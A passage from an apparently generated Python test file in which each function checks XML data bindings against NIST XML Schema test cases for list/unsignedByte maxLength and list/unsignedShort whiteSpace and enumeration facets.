schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-minLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-minLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedByteMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_4_nistxml_sv_iv_list_unsigned_byte_max_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_4_nistxml_sv_iv_list_unsigned_byte_max_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_4_nistxml_sv_iv_list_unsigned_byte_max_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_4_nistxml_sv_iv_list_unsigned_byte_max_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_4_nistxml_sv_iv_list_unsigned_byte_max_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_3_nistxml_sv_iv_list_unsigned_byte_max_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_3_nistxml_sv_iv_list_unsigned_byte_max_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_3_nistxml_sv_iv_list_unsigned_byte_max_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_3_nistxml_sv_iv_list_unsigned_byte_max_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_3_nistxml_sv_iv_list_unsigned_byte_max_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_2_nistxml_sv_iv_list_unsigned_byte_max_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_2_nistxml_sv_iv_list_unsigned_byte_max_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_2_nistxml_sv_iv_list_unsigned_byte_max_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_2_nistxml_sv_iv_list_unsigned_byte_max_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_2_nistxml_sv_iv_list_unsigned_byte_max_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_1_nistxml_sv_iv_list_unsigned_byte_max_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_1_nistxml_sv_iv_list_unsigned_byte_max_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_1_nistxml_sv_iv_list_unsigned_byte_max_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_1_nistxml_sv_iv_list_unsigned_byte_max_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_1_nistxml_sv_iv_list_unsigned_byte_max_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_nistxml_sv_iv_list_unsigned_byte_max_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_nistxml_sv_iv_list_unsigned_byte_max_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_nistxml_sv_iv_list_unsigned_byte_max_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_nistxml_sv_iv_list_unsigned_byte_max_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_max_length_nistxml_sv_iv_list_unsigned_byte_max_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-maxLength-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-maxLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedByteMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_white_space_nistxml_sv_iv_list_unsigned_short_white_space_1_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-whiteSpace-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-whiteSpace-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_white_space_nistxml_sv_iv_list_unsigned_short_white_space_1_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-whiteSpace-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_white_space_nistxml_sv_iv_list_unsigned_short_white_space_1_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-whiteSpace-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_white_space_nistxml_sv_iv_list_unsigned_short_white_space_1_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-whiteSpace-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_white_space_nistxml_sv_iv_list_unsigned_short_white_space_1_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-whiteSpace-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_4_nistxml_sv_iv_list_unsigned_short_enumeration_5_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-5-1.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_4_nistxml_sv_iv_list_unsigned_short_enumeration_5_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-5-2.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_4_nistxml_sv_iv_list_unsigned_short_enumeration_5_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-5-3.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_4_nistxml_sv_iv_list_unsigned_short_enumeration_5_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-5-4.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_4_nistxml_sv_iv_list_unsigned_short_enumeration_5_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-5-5.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_3_nistxml_sv_iv_list_unsigned_short_enumeration_4_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-4-1.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_3_nistxml_sv_iv_list_unsigned_short_enumeration_4_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-4-2.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_3_nistxml_sv_iv_list_unsigned_short_enumeration_4_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-4-3.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_3_nistxml_sv_iv_list_unsigned_short_enumeration_4_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-4-4.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_3_nistxml_sv_iv_list_unsigned_short_enumeration_4_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-4-5.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_2_nistxml_sv_iv_list_unsigned_short_enumeration_3_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-3-1.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_2_nistxml_sv_iv_list_unsigned_short_enumeration_3_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-3-2.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_2_nistxml_sv_iv_list_unsigned_short_enumeration_3_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-3-3.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_2_nistxml_sv_iv_list_unsigned_short_enumeration_3_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-3-4.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_2_nistxml_sv_iv_list_unsigned_short_enumeration_3_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-3-5.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_1_nistxml_sv_iv_list_unsigned_short_enumeration_2_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-2-1.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_1_nistxml_sv_iv_list_unsigned_short_enumeration_2_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-2-2.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_1_nistxml_sv_iv_list_unsigned_short_enumeration_2_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-2-3.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_1_nistxml_sv_iv_list_unsigned_short_enumeration_2_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-2-4.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_1_nistxml_sv_iv_list_unsigned_short_enumeration_2_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-2-5.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_nistxml_sv_iv_list_unsigned_short_enumeration_1_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-enumeration-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-enumeration-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_enumeration_nistxml_sv_iv_list_unsigned_short_enumeration_1_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet enumeration.
"""
